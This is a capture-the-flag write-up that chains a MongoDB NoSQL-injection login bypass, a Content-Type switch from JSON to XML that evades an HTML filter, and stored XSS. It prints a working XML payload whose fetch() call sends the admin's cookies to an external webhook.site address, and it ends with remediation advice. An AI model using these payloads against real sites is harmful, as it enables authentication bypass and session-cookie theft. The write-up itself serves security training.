WRITEUP

CyCTF: News Revenge - NoSQLi Auth Bypass → XML Content-Type Bypass → Stored XSS → Admin Cookie Exfiltration

Authentication bypass via MongoDB NoSQL injection chained with XML content-type filter bypass to land stored XSS, executed by admin to exfiltrate cookies containing the flag.

platform: CTFdiff: harddate: 2025-11-08
CONTENTS

Attack Chain

Info Leak → MongoDB Fingerprint → NoSQL Auth Bypass → Stored Comment Surface → Content-Type Filter Bypass → Stored XSS → Admin Cookie Exfiltration


Prerequisites: What You Need to Understand?

If these concepts aren’t clear, this challenge will feel like black magic.

  • How MongoDB NoSQL authentication queries work.
  • Why operators like $ne, $gt, $regex can bypass weak auth logic.
  • Difference between JSON vs XML parsers on the backend.
  • How Content-Type–based filtering often leads to parser confusion.
  • Stored XSS execution contexts (admin review panels).
  • Cookie exfiltration via fetch().

Challenge Overview

The application is a blog-like platform with:

  • User authentication
  • Articles
  • Comment submission
  • Admin moderation

Goal: get the flag, which is stored in admin cookies.


Phase 1: Information Disclosure (MongoDB Detection)

While enumerating endpoints, I discovered a response that strongly hinted the backend database.

Application response revealing MongoDB backend behavior

The error structure and query behavior confirmed the application is using MongoDB, making NoSQL injection a viable attack path.


Phase 2: User Enumeration

From the same endpoint, I learned a valid username exists:

  • user1
Response confirming the valid username user1

At this point, authentication becomes the next target.

Phase 3: NoSQL Injection Authentication Bypass

I navigated to the login page and submitted:

  • Username: user1
  • Password: anything Then intercepted the request using Burp Suite.

Original JSON body

JSON
{
  "username": "user1",
  "password": "test"
}

Modified payload (NoSQLi)

BASH
password[$ne]=0

This turns the backend query into something equivalent to:

JS
password != 0

Which always evaluates to true if the password field exists.

Result:

Successfully logged in without knowing the password.

Phase 4: Comment Functionality Recon

After login, I inspected article behavior.

Article 1

  • Comment submission result: “Comment submitted for admin review!”

This strongly suggests admin will view the page and potential stored XSS execution context.

Comment submission queued for administrator review

Article 2

  • Comment submission is immediately published
  • No admin review required
Article comment published immediately without administrator review

This makes Article 2 the ideal testing ground.

Phase 5: Initial XSS Attempt (Blocked)

I tried a basic payload:

HTML
<script>alert(1)</script>
 

Result: HTML tag not allowed

Initial XSS payload rejected with an HTML tag not allowed message

Clearly, a filter is in place.

Phase 6: Content-Type Filter Bypass

Instead of attacking the payload, I attacked the parser.

Strategy

  • Intercept comment POST request
  • Change Content-Type
  • Switch body from JSON to XML

Modified Header:

PGSQL
Content-Type: application/xml;charset=UTF-8

XML Payload

XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <image>null</image>
  <articleId>2</articleId>
  <comment><![CDATA[
    <script>alert(1)</script>
  ]]></comment>
</root>

Result

  • Comment accepted
  • Script executed
  • Stored XSS achieved

The filter only existed in the JSON handling path.

Now the real target: admin cookies. Since Article 1 comments are reviewed by admins, I placed the payload there.

Final Payload

XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <comment><![CDATA[
    <script>
      fetch(
        'https://webhook.site/your-id-here/flag?c=' + document.cookie);
    </script>
  ]]></comment>
  <articleId>1</articleId>
  <image></image>
</root>
 

Once the admin reviewed the article, the payload executed in admin context.

Phase 8: Flag Capture

Admin cookies were successfully exfiltrated to my webhook.

Why This Chain Works?

  • NoSQL auth logic trusted user input
  • Filters were applied only to JSON
  • XML parser bypassed validation entirely
  • Stored XSS executed in a high-privilege admin session
  • Cookies were accessible (no HttpOnly)

Real-World Fixes

  • Use strict schema validation for MongoDB queries
  • Never pass raw user input directly into NoSQL queries
  • Apply identical validation across all content types
  • Disable XML unless explicitly required
  • Set cookies with HttpOnly, Secure, SameSite

Closing

One parser, one unchecked operator, one missing cookie flag, and the admin hands you the keys.